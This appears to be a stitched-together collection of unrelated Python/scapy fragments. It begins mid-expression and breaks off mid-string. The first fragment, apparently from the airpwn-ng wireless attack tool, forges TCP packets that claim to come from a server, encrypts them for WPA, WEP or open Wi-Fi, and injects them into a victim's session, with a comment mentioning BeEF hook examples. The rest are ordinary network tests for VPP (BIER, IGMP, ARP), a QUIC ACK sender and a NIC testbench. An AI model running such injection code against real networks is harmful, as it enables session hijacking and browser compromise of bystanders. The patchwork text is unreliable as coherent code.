)\ /TCP( flags = 'FA', sport = int(svrport), dport = int(vicport), seq = int(seqnum), ack = int(acknum) )\ /Raw( load = headers + injection ) if TSVal is not None and TSecr is not None: packet[TCP].options = [('NOP', None), ('NOP', None), ('Timestamp', ((round(time.time()), TSVal)))] else: packet[TCP].options = [('NOP', None), ('NOP', None), ('Timestamp', ((round(time.time()), 0))) ] ## WPA Injection if self.args.wpa is not None: if self.shake.encDict.get(vicmac) == 'ccmp': ### Why are we incrementing here? Been done before in wpaEncrypt(), verify this. try: self.shake.PN[5] += 1 except: self.shake.PN[4] += 1 try: packet = wpaEncrypt( self.shake.tgtInfo.get(vicmac)[1], self.shake.origPkt, packet, self.shake.PN, True) except: sys.stdout.write( Bcolors.FAIL + '\n[!] pyDot11 did not work\n[!] Injection failed\n ' + Bcolors.ENDC) sys.stdout.flush() else: sys.stdout.write( Bcolors.FAIL + '\n[!] airpwn-ng cannot inject TKIP natively\n[!] Injection failed\n ' + Bcolors.ENDC) sys.stdout.flush() #packet = wpaEncrypt(self.shake.tgtInfo.get(vicmac)[0], #self.shake.origPkt, #packet, #self.shake.PN, #True) if self.args.v is False: sendp(packet, iface=self.interface, verbose=0) else: sendp(packet, iface=self.interface, verbose=1) if self.args.pcap is True: wrpcap('outbound.pcap', packet) ## WEP Injection elif self.args.wep is not None: try: packet = wepEncrypt(packet, self.args.wep) except: sys.stdout.write( Bcolors.FAIL + '\n[!] pyDot11 did not work\n[!] Injection failed\n ' + Bcolors.ENDC) sys.stdout.flush() if self.args.v is False: sendp(packet, iface=self.interface, verbose=0) else: sendp(packet, iface=self.interface, verbose=1) if self.args.pcap is True: wrpcap('outbound.pcap', packet) ## Open WiFi Injection else: if self.args.v is False: sendp(packet, iface=self.interface, verbose=0) else: sendp(packet, iface=self.interface, verbose=1) if self.args.pcap is True: wrpcap('outbound.pcap', packet) ### Single packet exit point ### Used for BeEF hook examples and such if self.args.single is True: sys.stdout.write(Bcolors.OKBLUE + '[*] Injecting Packet to victim ' + Bcolors.WARNING + vicmac + Bcolors.OKBLUE + ' (TOTAL: ' + str(npackets) + ' injected packets)\r' + Bcolors.ENDC) sys.exit(0) ## Injection using Managed Mode else: hdr = Headers() headers = hdr.default(injection) packet = Ether(\ src = self.getHwAddr(self.interface),\ dst = vicmac\ )\ /IP( dst = vicip, src = svrip )\ /TCP( flags = 'FA', sport = int(svrport), dport = int(vicport), seq = int(seqnum), ack = int(acknum) )\ /Raw( load = headers + injection ) if TSVal is not None: packet[TCP].options = [\ ('NOP', None),\ ('NOP', None),\ ('Timestamp', ((round(time.time()), TSVal)))\ ] else: packet[TCP].options = [\ ('NOP', None),\ ('NOP', None),\ ('Timestamp', ((round(time.time()), 0)))\ ] if self.args.v is False: sendp(packet, iface=self.interface, verbose=0) else: sendp(packet, iface=self.interface, verbose=1) if self.args.pcap is True: wrpcap('outbound.pcap', packet)
def send_ack(self): ack = AckNotificationPacket() conf.L3socket = L3RawSocket ack.setfieldval( 'CID', string_to_ascii(SessionInstance.get_instance().connection_id)) next_packet_number_int = PacketNumberInstance.get_instance( ).get_next_packet_number() next_packet_number_byte = int(next_packet_number_int).to_bytes( 8, byteorder='little') next_packet_number_nonce = int(next_packet_number_int).to_bytes( 2, byteorder='big') ack.setfieldval("Packet Number", next_packet_number_int) highest_received_packet_number = format( int( PacketNumberInstance.get_instance(). get_highest_received_packet_number(), 16), 'x') ack_body = "40" ack_body += str(highest_received_packet_number).zfill(2) ack_body += "0062" ack_body += str(highest_received_packet_number).zfill(2) ack_body += "00" # not sure yet if we can remove this? # if SessionInstance.get_instance().nr_ack_send == 0: # ack_body += str(highest_received_packet_number).zfill(2) # ack_body += "00" # ack_body += "01" keys = SessionInstance.get_instance().keys request = { 'mode': 'encryption', 'input': ack_body, 'key': keys['key1'].hex(), # For encryption, we use my key 'additionalData': "18" + SessionInstance.get_instance().connection_id + next_packet_number_byte.hex()[:4], # Fixed public flags 18 || fixed connection Id || packet number 'nonce': keys['iv1'].hex() + next_packet_number_nonce.hex().ljust(16, '0') } # print("Ack request for encryption {}".format(request)) ciphertext = CryptoConnectionManager.send_message( ConnectionEndpoint.CRYPTO_ORACLE, json.dumps(request).encode('utf-8'), True) ciphertext = ciphertext['data'] # print("Ciphertext in ack {}".format(ciphertext)) ack.setfieldval("Message Authentication Hash", string_to_ascii(ciphertext[:24])) SessionInstance.get_instance().nr_ack_send += 1 p = IP(dst=SessionInstance.get_instance().destination_ip) / UDP( dport=6121, sport=61250) / ack / Raw(load=string_to_ascii(ciphertext[24:])) send(p) # print("After sending ack...") self.__finished = True
def test_bier_tail(self): """BIER Tail""" MRouteItfFlags = VppEnum.vl_api_mfib_itf_flags_t MRouteEntryFlags = VppEnum.vl_api_mfib_entry_flags_t # # Add a BIER table for sub-domain 0, set 0, and BSL 256 # bti = VppBierTableID(0, 0, BIERLength.BIER_LEN_256) bt = VppBierTable(self, bti, 77) bt.add_vpp_config() # # disposition table # bdt = VppBierDispTable(self, 8) bdt.add_vpp_config() # # BIER route in table that's for-us # bier_route_1 = VppBierRoute( self, bti, 1, [ VppRoutePath( "0.0.0.0", 0xFFFFFFFF, proto=FibPathProto.FIB_PATH_NH_PROTO_BIER, nh_table_id=8, ) ], ) bier_route_1.add_vpp_config() # # An entry in the disposition table # bier_de_1 = VppBierDispEntry( self, bdt.id, 99, BIER_HDR_PAYLOAD.BIER_HDR_PROTO_IPV4, FibPathProto.FIB_PATH_NH_PROTO_BIER, "0.0.0.0", 0, rpf_id=8192, ) bier_de_1.add_vpp_config() # # A multicast route to forward post BIER disposition # route_eg_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, paths=[ VppMRoutePath(self.pg1.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD) ], ) route_eg_232_1_1_1.add_vpp_config() route_eg_232_1_1_1.update_rpf_id(8192) # # A packet with all bits set gets spat out to BP:1 # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / MPLS(label=77, ttl=255) / BIER( length=BIERLength.BIER_LEN_256, BitString=scapy.compat.chb(255) * 32, BFRID=99, ) / IP(src="1.1.1.1", dst="232.1.1.1") / UDP(sport=1234, dport=1234) / Raw()) self.send_and_expect(self.pg0, [p], self.pg1) # # A packet that does not match the Disposition entry gets dropped # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / MPLS(label=77, ttl=255) / BIER( length=BIERLength.BIER_LEN_256, BitString=scapy.compat.chb(255) * 32, BFRID=77, ) / IP(src="1.1.1.1", dst="232.1.1.1") / UDP(sport=1234, dport=1234) / Raw()) self.send_and_assert_no_replies(self.pg0, p * 2, "no matching disposition entry") # # Add the default route to the disposition table # bier_de_2 = VppBierDispEntry( self, bdt.id, 0, BIER_HDR_PAYLOAD.BIER_HDR_PROTO_IPV4, FibPathProto.FIB_PATH_NH_PROTO_BIER, "0.0.0.0", 0, rpf_id=8192, ) bier_de_2.add_vpp_config() # # now the previous packet is forwarded # self.send_and_expect(self.pg0, [p], self.pg1) # # A multicast route to forward post BIER disposition that needs # a check against sending back into the BIER core # bi = VppBierImp(self, bti, 333, scapy.compat.chb(0x3) * 32) bi.add_vpp_config() route_eg_232_1_1_2 = VppIpMRoute( self, "0.0.0.0", "232.1.1.2", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, paths=[ VppMRoutePath( 0xFFFFFFFF, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD, proto=DpoProto.DPO_PROTO_BIER, type=FibPathType.FIB_PATH_TYPE_BIER_IMP, bier_imp=bi.bi_index, ), VppMRoutePath(self.pg1.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD), ], ) route_eg_232_1_1_2.add_vpp_config() route_eg_232_1_1_2.update_rpf_id(8192) p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / MPLS(label=77, ttl=255) / BIER( length=BIERLength.BIER_LEN_256, BitString=scapy.compat.chb(255) * 32, BFRID=77, ) / IP(src="1.1.1.1", dst="232.1.1.2") / UDP(sport=1234, dport=1234) / Raw()) self.send_and_expect(self.pg0, [p], self.pg1)
def test_bier_head_o_udp(self): """BIER head over UDP""" MRouteItfFlags = VppEnum.vl_api_mfib_itf_flags_t MRouteEntryFlags = VppEnum.vl_api_mfib_entry_flags_t # # Add a BIER table for sub-domain 1, set 0, and BSL 256 # bti = VppBierTableID(1, 0, BIERLength.BIER_LEN_256) bt = VppBierTable(self, bti, 77) bt.add_vpp_config() # # 1 bit positions via 1 next hops # nh1 = "10.0.0.1" ip_route = VppIpRoute( self, nh1, 32, [ VppRoutePath( self.pg1.remote_ip4, self.pg1.sw_if_index, labels=[VppMplsLabel(2001)], ) ], ) ip_route.add_vpp_config() udp_encap = VppUdpEncap(self, self.pg0.local_ip4, nh1, 330, 8138) udp_encap.add_vpp_config() bier_route = VppBierRoute( self, bti, 1, [ VppRoutePath( "0.0.0.0", 0xFFFFFFFF, type=FibPathType.FIB_PATH_TYPE_UDP_ENCAP, next_hop_id=udp_encap.id, ) ], ) bier_route.add_vpp_config() # # An 2 imposition objects with all bit-positions set # only use the second, but creating 2 tests with a non-zero # value index in the route add # bi = VppBierImp(self, bti, 333, scapy.compat.chb(0xFF) * 32) bi.add_vpp_config() bi2 = VppBierImp(self, bti, 334, scapy.compat.chb(0xFF) * 32) bi2.add_vpp_config() # # Add a multicast route that will forward into the BIER doamin # route_ing_232_1_1_1 = VppIpMRoute( self, "0.0.0.0", "232.1.1.1", 32, MRouteEntryFlags.MFIB_API_ENTRY_FLAG_NONE, paths=[ VppMRoutePath(self.pg0.sw_if_index, MRouteItfFlags.MFIB_API_ITF_FLAG_ACCEPT), VppMRoutePath( 0xFFFFFFFF, MRouteItfFlags.MFIB_API_ITF_FLAG_FORWARD, proto=FibPathProto.FIB_PATH_NH_PROTO_BIER, type=FibPathType.FIB_PATH_TYPE_BIER_IMP, bier_imp=bi2.bi_index, ), ], ) route_ing_232_1_1_1.add_vpp_config() # # inject a packet an IP. We expect it to be BIER and UDP encapped, # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src="1.1.1.1", dst="232.1.1.1") / UDP(sport=1234, dport=1234)) self.pg0.add_stream([p]) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx = self.pg1.get_capture(1) # # Encap Stack is, eth, IP, UDP, BIFT, BIER # self.assertEqual(rx[0][IP].src, self.pg0.local_ip4) self.assertEqual(rx[0][IP].dst, nh1) self.assertEqual(rx[0][UDP].sport, 330) self.assertEqual(rx[0][UDP].dport, 8138) self.assertEqual(rx[0][BIFT].bsl, BIERLength.BIER_LEN_256) self.assertEqual(rx[0][BIFT].sd, 1) self.assertEqual(rx[0][BIFT].set, 0) self.assertEqual(rx[0][BIFT].ttl, 64) self.assertEqual(rx[0][BIER].length, 2)
def test_igmp_router(self): """ IGMP Router Functions """ # # Drop reports when not enabled # p_j = ( Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst="224.0.0.22", tos=0xc0, ttl=1, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Version 3 Membership Report") / IGMPv3mr(numgrp=1) / IGMPv3gr(rtype="Allow New Sources", maddr="239.1.1.1", srcaddrs=["10.1.1.1", "10.1.1.2"])) p_l = ( Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst="224.0.0.22", tos=0xc0, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Version 3 Membership Report") / IGMPv3mr(numgrp=1) / IGMPv3gr(rtype="Block Old Sources", maddr="239.1.1.1", srcaddrs=["10.1.1.1", "10.1.1.2"])) self.send(self.pg0, p_j) self.assertFalse(self.vapi.igmp_dump()) # # drop the default timer values so these tests execute in a # reasonable time frame # self.vapi.cli("test igmp timers query 1 src 3 leave 1") # # enable router functions on the interface # self.pg_enable_capture(self.pg_interfaces) self.pg_start() self.vapi.igmp_enable_disable(self.pg0.sw_if_index, 1, IGMP_MODE.ROUTER) self.vapi.want_igmp_events(1) # # wait for router to send general query # for ii in range(3): capture = self.pg0.get_capture(1, timeout=2) self.verify_general_query(capture[0]) self.pg_enable_capture(self.pg_interfaces) self.pg_start() # # re-send the report. VPP should now hold state for the new group # VPP sends a notification that a new group has been joined # self.send(self.pg0, p_j) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.1", 1)) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.2", 1)) dump = self.vapi.igmp_dump(self.pg0.sw_if_index) self.assertEqual(len(dump), 2) self.assertTrue( find_igmp_state(dump, self.pg0, "239.1.1.1", "10.1.1.1")) self.assertTrue( find_igmp_state(dump, self.pg0, "239.1.1.1", "10.1.1.2")) # # wait for the per-source timer to expire # the state should be reaped # VPP sends a notification that the group has been left # self.assertTrue( wait_for_igmp_event(self, 4, self.pg0, "239.1.1.1", "10.1.1.1", 0)) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.2", 0)) self.assertFalse(self.vapi.igmp_dump()) # # resend the join. wait for two queries and then send a current-state # record to include all sources. this should reset the exiry time # on the sources and thus they will still be present in 2 seconds time. # If the source timer was not refreshed, then the state would have # expired in 3 seconds. # self.send(self.pg0, p_j) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.1", 1)) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.2", 1)) dump = self.vapi.igmp_dump(self.pg0.sw_if_index) self.assertEqual(len(dump), 2) capture = self.pg0.get_capture(2, timeout=3) self.verify_general_query(capture[0]) self.verify_general_query(capture[1]) p_cs = ( Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst="224.0.0.22", tos=0xc0, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Version 3 Membership Report") / IGMPv3mr(numgrp=1) / IGMPv3gr(rtype="Mode Is Include", maddr="239.1.1.1", srcaddrs=["10.1.1.1", "10.1.1.2"])) self.send(self.pg0, p_cs) self.sleep(2) dump = self.vapi.igmp_dump(self.pg0.sw_if_index) self.assertEqual(len(dump), 2) self.assertTrue( find_igmp_state(dump, self.pg0, "239.1.1.1", "10.1.1.1")) self.assertTrue( find_igmp_state(dump, self.pg0, "239.1.1.1", "10.1.1.2")) # # wait for the per-source timer to expire # the state should be reaped # self.assertTrue( wait_for_igmp_event(self, 4, self.pg0, "239.1.1.1", "10.1.1.1", 0)) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.2", 0)) self.assertFalse(self.vapi.igmp_dump()) # # resend the join, then a leave. Router sends a gruop+source # specific query containing both sources # self.send(self.pg0, p_j) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.1", 1)) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.2", 1)) dump = self.vapi.igmp_dump(self.pg0.sw_if_index) self.assertEqual(len(dump), 2) self.send(self.pg0, p_l) capture = self.pg0.get_capture(1, timeout=3) self.verify_group_query(capture[0], "239.1.1.1", ["10.1.1.1", "10.1.1.2"]) # # the group specific query drops the timeout to leave (=1) seconds # self.assertTrue( wait_for_igmp_event(self, 2, self.pg0, "239.1.1.1", "10.1.1.1", 0)) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.1", "10.1.1.2", 0)) self.assertFalse(self.vapi.igmp_dump()) self.assertFalse(self.vapi.igmp_dump()) # # A (*,G) host report # p_j = ( Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst="224.0.0.22", tos=0xc0, ttl=1, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Version 3 Membership Report") / IGMPv3mr(numgrp=1) / IGMPv3gr(rtype="Allow New Sources", maddr="239.1.1.2")) self.send(self.pg0, p_j) self.assertTrue( wait_for_igmp_event(self, 1, self.pg0, "239.1.1.2", "0.0.0.0", 1)) # # disable router config # self.vapi.igmp_enable_disable(self.pg0.sw_if_index, 0, IGMP_MODE.ROUTER)
def test_arp_duplicates(self): """ ARP Duplicates""" # # Generate some hosts on the LAN # self.pg1.generate_remote_hosts(3) # # Add host 1 on pg1 and pg2 # arp_pg1 = VppNeighbor(self, self.pg1.sw_if_index, self.pg1.remote_hosts[1].mac, self.pg1.remote_hosts[1].ip4) arp_pg1.add_vpp_config() arp_pg2 = VppNeighbor(self, self.pg2.sw_if_index, self.pg2.remote_mac, self.pg1.remote_hosts[1].ip4) arp_pg2.add_vpp_config() # # IP packet destined for pg1 remote host arrives on pg1 again. # p = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1.remote_hosts[1].ip4) / UDP(sport=1234, dport=1234) / Raw()) self.pg0.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx1 = self.pg1.get_capture(1) self.verify_ip(rx1[0], self.pg1.local_mac, self.pg1.remote_hosts[1].mac, self.pg0.remote_ip4, self.pg1.remote_hosts[1].ip4) # # remove the duplicate on pg1 # packet stream shoud generate ARPs out of pg1 # arp_pg1.remove_vpp_config() self.pg0.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx1 = self.pg1.get_capture(1) self.verify_arp_req(rx1[0], self.pg1.local_mac, self.pg1.local_ip4, self.pg1.remote_hosts[1].ip4) # # Add it back # arp_pg1.add_vpp_config() self.pg0.add_stream(p) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rx1 = self.pg1.get_capture(1) self.verify_ip(rx1[0], self.pg1.local_mac, self.pg1.remote_hosts[1].mac, self.pg0.remote_ip4, self.pg1.remote_hosts[1].ip4)
async def run_test_nic(dut): tb = TB(dut) await tb.init() tb.log.info("Init driver") await tb.driver.init_dev(tb.dev.functions[0].pcie_id) await tb.driver.interfaces[0].open() # await driver.interfaces[1].open() # enable queues tb.log.info("Enable queues") await tb.rc.mem_write_dword( tb.driver.interfaces[0].ports[0].hw_addr + mqnic.MQNIC_PORT_REG_SCHED_ENABLE, 0x00000001) for k in range(tb.driver.interfaces[0].tx_queue_count): await tb.rc.mem_write_dword( tb.driver.interfaces[0].ports[0].schedulers[0].hw_addr + 4 * k, 0x00000003) # wait for all writes to complete await tb.rc.mem_read(tb.driver.hw_addr, 4) tb.log.info("Init complete") tb.log.info("Send and receive single packet") data = bytearray([x % 256 for x in range(1024)]) await tb.driver.interfaces[0].start_xmit(data, 0) pkt = await tb.sfp_1_sink.recv() tb.log.info("Packet: %s", pkt) await tb.sfp_1_source.send(pkt) pkt = await tb.driver.interfaces[0].recv() tb.log.info("Packet: %s", pkt) assert pkt.rx_checksum == ~scapy.utils.checksum(bytes( pkt.data[14:])) & 0xffff # await tb.driver.interfaces[1].start_xmit(data, 0) # pkt = await tb.sfp_2_sink.recv() # tb.log.info("Packet: %s", pkt) # await tb.sfp_2_source.send(pkt) # pkt = await tb.driver.interfaces[1].recv() # tb.log.info("Packet: %s", pkt) # assert pkt.rx_checksum == ~scapy.utils.checksum(bytes(pkt.data[14:])) & 0xffff tb.log.info("RX and TX checksum tests") payload = bytes([x % 256 for x in range(256)]) eth = Ether(src='5A:51:52:53:54:55', dst='DA:D1:D2:D3:D4:D5') ip = IP(src='192.168.1.100', dst='192.168.1.101') udp = UDP(sport=1, dport=2) test_pkt = eth / ip / udp / payload test_pkt2 = test_pkt.copy() test_pkt2[UDP].chksum = scapy.utils.checksum(bytes(test_pkt2[UDP])) await tb.driver.interfaces[0].start_xmit(test_pkt2.build(), 0, 34, 6) pkt = await tb.sfp_1_sink.recv() tb.log.info("Packet: %s", pkt) await tb.sfp_1_source.send(pkt) pkt = await tb.driver.interfaces[0].recv() tb.log.info("Packet: %s", pkt) assert pkt.rx_checksum == ~scapy.utils.checksum(bytes( pkt.data[14:])) & 0xffff assert Ether(pkt.data).build() == test_pkt.build() tb.log.info("Multiple small packets") count = 64 pkts = [ bytearray([(x + k) % 256 for x in range(60)]) for k in range(count) ] tb.loopback_enable = True for p in pkts: await tb.driver.interfaces[0].start_xmit(p, 0) for k in range(count): pkt = await tb.driver.interfaces[0].recv() tb.log.info("Packet: %s", pkt) assert pkt.data == pkts[k] assert pkt.rx_checksum == ~scapy.utils.checksum(bytes( pkt.data[14:])) & 0xffff tb.loopback_enable = False tb.log.info("Multiple large packets") count = 64 pkts = [ bytearray([(x + k) % 256 for x in range(1514)]) for k in range(count) ] tb.loopback_enable = True for p in pkts: await tb.driver.interfaces[0].start_xmit(p, 0) for k in range(count): pkt = await tb.driver.interfaces[0].recv() tb.log.info("Packet: %s", pkt) assert pkt.data == pkts[k] assert pkt.rx_checksum == ~scapy.utils.checksum(bytes( pkt.data[14:])) & 0xffff tb.loopback_enable = False await RisingEdge(dut.clk_250mhz) await RisingEdge(dut.clk_250mhz)
def test_igmp_host(self): """ IGMP Host functions """ # # Enable interface for host functions # self.vapi.igmp_enable_disable(self.pg0.sw_if_index, 1, IGMP_MODE.HOST) # # Add one S,G of state and expect a state-change event report # indicating the addition of the S,G # h1 = self.add_group(self.pg0, IgmpSG("239.1.1.1", ["1.1.1.1"])) # search for the corresponding state created in VPP dump = self.vapi.igmp_dump(self.pg0.sw_if_index) self.assertEqual(len(dump), 1) self.assertTrue(find_igmp_state(dump, self.pg0, "239.1.1.1", "1.1.1.1")) # # Send a general query (to the all router's address) # expect VPP to respond with a membership report # p_g = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst='224.0.0.1', tos=0xc0) / IGMPv3(type="Membership Query", mrcode=100) / IGMPv3mq(gaddr="0.0.0.0")) self.send(self.pg0, p_g) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [IgmpRecord(h1.sg, "Mode Is Include")]) # # Group specific query # p_gs = ( Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst='239.1.1.1', tos=0xc0, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Membership Query", mrcode=100) / IGMPv3mq(gaddr="239.1.1.1")) self.send(self.pg0, p_gs) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [IgmpRecord(h1.sg, "Mode Is Include")]) # # A group and source specific query, with the source matching # the source VPP has # p_gs1 = ( Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst='239.1.1.1', tos=0xc0, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Membership Query", mrcode=100) / IGMPv3mq(gaddr="239.1.1.1", srcaddrs=["1.1.1.1"])) self.send(self.pg0, p_gs1) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [IgmpRecord(h1.sg, "Mode Is Include")]) # # A group and source specific query, with the source NOT matching # the source VPP has. There should be no response. # p_gs2 = ( Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP(src=self.pg0.remote_ip4, dst='239.1.1.1', tos=0xc0, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Membership Query", mrcode=100) / IGMPv3mq(gaddr="239.1.1.1", srcaddrs=["1.1.1.2"])) self.send_and_assert_no_replies(self.pg0, p_gs2, timeout=10) # # A group and source specific query, with the multiple sources # one of which matches the source VPP has. # The report should contain only the source VPP has. # p_gs3 = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP( src=self.pg0.remote_ip4, dst='239.1.1.1', tos=0xc0, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Membership Query", mrcode=100) / IGMPv3mq( gaddr="239.1.1.1", srcaddrs=["1.1.1.1", "1.1.1.2", "1.1.1.3"])) self.send(self.pg0, p_gs3) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [IgmpRecord(h1.sg, "Mode Is Include")]) # # Two source and group specific queires in qucik sucession, the # first does not have VPPs source the second does. then vice-versa # self.send(self.pg0, [p_gs2, p_gs1]) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [IgmpRecord(h1.sg, "Mode Is Include")]) self.send(self.pg0, [p_gs1, p_gs2]) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [IgmpRecord(h1.sg, "Mode Is Include")]) # # remove state, expect the report for the removal # self.remove_group(h1) dump = self.vapi.igmp_dump() self.assertFalse(dump) # # A group with multiple sources # h2 = self.add_group( self.pg0, IgmpSG("239.1.1.1", ["1.1.1.1", "1.1.1.2", "1.1.1.3"])) # search for the corresponding state created in VPP dump = self.vapi.igmp_dump(self.pg0.sw_if_index) self.assertEqual(len(dump), 3) for s in h2.sg.saddrs: self.assertTrue(find_igmp_state(dump, self.pg0, "239.1.1.1", s)) # # Send a general query (to the all router's address) # expect VPP to respond with a membership report will all sources # self.send(self.pg0, p_g) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [IgmpRecord(h2.sg, "Mode Is Include")]) # # Group and source specific query; some present some not # p_gs = (Ether(dst=self.pg0.local_mac, src=self.pg0.remote_mac) / IP( src=self.pg0.remote_ip4, dst='239.1.1.1', tos=0xc0, options=[ IPOption( copy_flag=1, optclass="control", option="router_alert") ]) / IGMPv3(type="Membership Query", mrcode=100) / IGMPv3mq( gaddr="239.1.1.1", srcaddrs=["1.1.1.1", "1.1.1.2", "1.1.1.4"])) self.send(self.pg0, p_gs) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [ IgmpRecord(IgmpSG('239.1.1.1', ["1.1.1.1", "1.1.1.2"]), "Mode Is Include") ]) # # add loads more groups # h3 = self.add_group( self.pg0, IgmpSG("239.1.1.2", ["2.1.1.1", "2.1.1.2", "2.1.1.3"])) h4 = self.add_group( self.pg0, IgmpSG("239.1.1.3", ["3.1.1.1", "3.1.1.2", "3.1.1.3"])) h5 = self.add_group( self.pg0, IgmpSG("239.1.1.4", ["4.1.1.1", "4.1.1.2", "4.1.1.3"])) h6 = self.add_group( self.pg0, IgmpSG("239.1.1.5", ["5.1.1.1", "5.1.1.2", "5.1.1.3"])) h7 = self.add_group( self.pg0, IgmpSG("239.1.1.6", [ "6.1.1.1", "6.1.1.2", "6.1.1.3", "6.1.1.4", "6.1.1.5", "6.1.1.6", "6.1.1.7", "6.1.1.8", "6.1.1.9", "6.1.1.10", "6.1.1.11", "6.1.1.12", "6.1.1.13", "6.1.1.14", "6.1.1.15", "6.1.1.16" ])) # # general query. # the order the groups come in is not important, so what is # checked for is what VPP is sending today. # self.send(self.pg0, p_g) capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [ IgmpRecord(h3.sg, "Mode Is Include"), IgmpRecord(h2.sg, "Mode Is Include"), IgmpRecord(h6.sg, "Mode Is Include"), IgmpRecord(h4.sg, "Mode Is Include"), IgmpRecord(h5.sg, "Mode Is Include"), IgmpRecord(h7.sg, "Mode Is Include") ]) # # modify a group to add and remove some sources # h7.sg = IgmpSG("239.1.1.6", [ "6.1.1.1", "6.1.1.2", "6.1.1.5", "6.1.1.6", "6.1.1.7", "6.1.1.8", "6.1.1.9", "6.1.1.10", "6.1.1.11", "6.1.1.12", "6.1.1.13", "6.1.1.14", "6.1.1.15", "6.1.1.16", "6.1.1.17", "6.1.1.18" ]) self.pg_enable_capture(self.pg_interfaces) self.pg_start() h7.add_vpp_config() capture = self.pg0.get_capture(1, timeout=10) self.verify_report(capture[0], [ IgmpRecord(IgmpSG("239.1.1.6", ["6.1.1.17", "6.1.1.18"]), "Allow New Sources"), IgmpRecord(IgmpSG("239.1.1.6", ["6.1.1.3", "6.1.1.4"]), "Block Old Sources") ]) # # add an additional groups with many sources so that each group # consumes the link MTU. We should therefore see multiple state # state reports when queried. # self.vapi.sw_interface_set_mtu(self.pg0.sw_if_index, [560, 0, 0, 0]) src_list = [] for i in range(128): src_list.append("10.1.1.%d" % i) h8 = self.add_group(self.pg0, IgmpSG("238.1.1.1", src_list)) h9 = self.add_group(self.pg0, IgmpSG("238.1.1.2", src_list)) self.send(self.pg0, p_g) capture = self.pg0.get_capture(4, timeout=10) self.verify_report(capture[0], [ IgmpRecord(h3.sg, "Mode Is Include"), IgmpRecord(h2.sg, "Mode Is Include"), IgmpRecord(h6.sg, "Mode Is Include"), IgmpRecord(h4.sg, "Mode Is Include"), IgmpRecord(h5.sg, "Mode Is Include") ]) self.verify_report(capture[1], [IgmpRecord(h8.sg, "Mode Is Include")]) self.verify_report(capture[2], [IgmpRecord(h7.sg, "Mode Is Include")]) self.verify_report(capture[3], [IgmpRecord(h9.sg, "Mode Is Include")]) # # drop the MTU further (so a 128 sized group won't fit) # self.vapi.sw_interface_set_mtu(self.pg0.sw_if_index, [512, 0, 0, 0]) self.pg_enable_capture(self.pg_interfaces) self.pg_start() h10 = VppHostState(self, IGMP_FILTER.INCLUDE, self.pg0.sw_if_index, IgmpSG("238.1.1.3", src_list)) h10.add_vpp_config() capture = self.pg0.get_capture(2, timeout=10) # # remove state, expect the report for the removal # the dump should be empty # self.vapi.sw_interface_set_mtu(self.pg0.sw_if_index, [600, 0, 0, 0]) self.remove_group(h8) self.remove_group(h9) self.remove_group(h2) self.remove_group(h3) self.remove_group(h4) self.remove_group(h5) self.remove_group(h6) self.remove_group(h7) self.remove_group(h10) self.logger.info(self.vapi.cli("sh 